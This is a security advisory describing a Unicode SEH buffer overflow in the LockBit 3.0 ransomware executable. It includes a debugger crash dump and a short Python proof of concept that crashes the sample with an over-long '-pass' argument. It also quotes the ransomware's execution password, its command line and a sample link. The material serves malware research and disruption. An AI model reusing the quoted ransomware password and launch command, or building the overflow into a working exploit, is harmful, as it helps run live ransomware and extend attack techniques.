Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/38745539b71cf201bb502437f891d799.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Ransom Lockbit 3.0 Vulnerability: Local Unicode Buffer Overflow (SEH) Description: The ransomware apparently now requires a password to execute as noted by "@vxunderground" E.g. "-pass db66023ab2abcb9957fb01ed50cdfa6a", but doesnt properly check bounds for both the -pass and -k arguments. Supplying a long string of characters for either flag will trigger a unicode stack buffer overflow overwriting the ECX register and structured exception handler (SEH). Family: Lockbit Type: PE32 MD5: 38745539b71cf201bb502437f891d799 Vuln ID: MVID-2022-0620 ASLR: False DEP: True CFG: False Safe SEH: False Disclosure: 07/03/2022 Memory Dump: (b4.1c38): Access violation - code c0000005 (first/second chance not available) eax=6bce1634 ebx=00000000 ecx=00410041 edx=77729d70 esi=00000000 edi=00000000 eip=a291273d esp=000a12f8 ebp=000a1318 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 a291273d ?? ??? 0:000> .ecxr eax=6bce1634 ebx=00000000 ecx=00410041 edx=77729d70 esi=00000000 edi=00000000 eip=a291273d esp=000a12f8 ebp=000a1318 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 a291273d ?? ??? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+1b21e 0041b21e f366a5 rep movs word ptr es:[edi],word ptr [esi] EXCEPTION_RECORD: 0019f688 -- (.exr 0x19f688) ExceptionAddress: 0041b21e (LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+0x0001b21e) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 001a0000 Attempt to write to address 001a0000 PROCESS_NAME: LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: a291273d WRITE_ADDRESS: a291273d FOLLOWUP_IP: +1b21e a291273d ?? ??? FAILED_INSTRUCTION_ADDRESS: +1b21e a291273d ?? ??? MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: a291273d The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. CONTEXT: 0019f6d8 -- (.cxr 0x19f6d8) eax=00000020 ebx=0019fc00 ecx=0000004a edx=0000029a esi=025724f4 edi=001a0000 eip=0041b21e esp=0019fb38 ebp=0019fb48 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+0x1b21e: 0041b21e f366a5 rep movs word ptr es:[edi],word ptr [esi] Resetting default scope ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 0041b26a to 0041b21e FAULTING_THREAD: ffffffff DEFAULT_BUCKET_ID: STACKIMMUNE PRIMARY_PROBLEM_CLASS: STACKIMMUNE BUGCHECK_STR: APPLICATION_FAULT_STACKIMMUNE_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_00410041 STACK_TEXT: 00000000 00000000 lockbit3+0x0 STACK_COMMAND: .cxr 000000000019F6D8 ; kb ; ** Pseudo Context ** ; kb SYMBOL_NAME: lockbit3 FOLLOWUP_NAME: MachineOwner MODULE_NAME: lockbit3 IMAGE_NAME: lockbit3 DEBUG_FLR_IMAGE_TIMESTAMP: 0 FAILURE_BUCKET_ID: STACKIMMUNE_c0000005_lockbit3!Unloaded BUCKET_ID: APPLICATION_FAULT_STACKIMMUNE_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_00410041_BAD_IP_lockbit3 Followup: MachineOwner --------- 0:000> !exchain 0019f59c: ntdll!ExecuteHandler2+44 (77729d70) 0019ffcc: LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+10041 (00410041) Invalid exception stack at 00410041 Exploit/PoC: from subprocess import Popen #Discovery/Credits: malvuln #Vulnerability: Unicode Buffer Overflow (SEH) #Disclosure: 07/03/2022 #Hash: 80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce #MD5: 38745539b71cf201bb502437f891d799 #================================================================================================ # #Apparently Lockbit 3.0 - Lockbit Black (aka LockShit), now requires a password to execute E.g. # #vx-underground commented on 2022-07-03 18:55:48 UTC # #{04830965-76E6-6A9A-8EE1-6AF7499C1D08}.exe -k LocalServiceNetworkRestricted -pass db66023ab2abcb9957fb01ed50cdfa6a # #https://bazaar.abuse.ch/sample/80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce/ #=============================================================================================== # #Supplying a long payload of characters for the -pass or -k switches triggers a Buffer Overflow. #=============================================================================================== TARGET="LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce.exe" BANNER=""" __ __ _____ __ _ __ / / ____ _____/ /__/ ___// /_ (_) /_ / / / __ \/ ___/ //_/\__ \/ __ \/ / __/ / /___/ /_/ / /__/ ,< ___/ / / / / / /_ /_____/\____/\___/_/|_|/____/_/ /_/_/\__/ 3.0 Unicode Buffer Overflow By malvuln """ PAYLOAD="A"*666 def doit(): Popen([TARGET, "-pass", PAYLOAD], shell=True) if __name__=="__main__": print(BANNER) doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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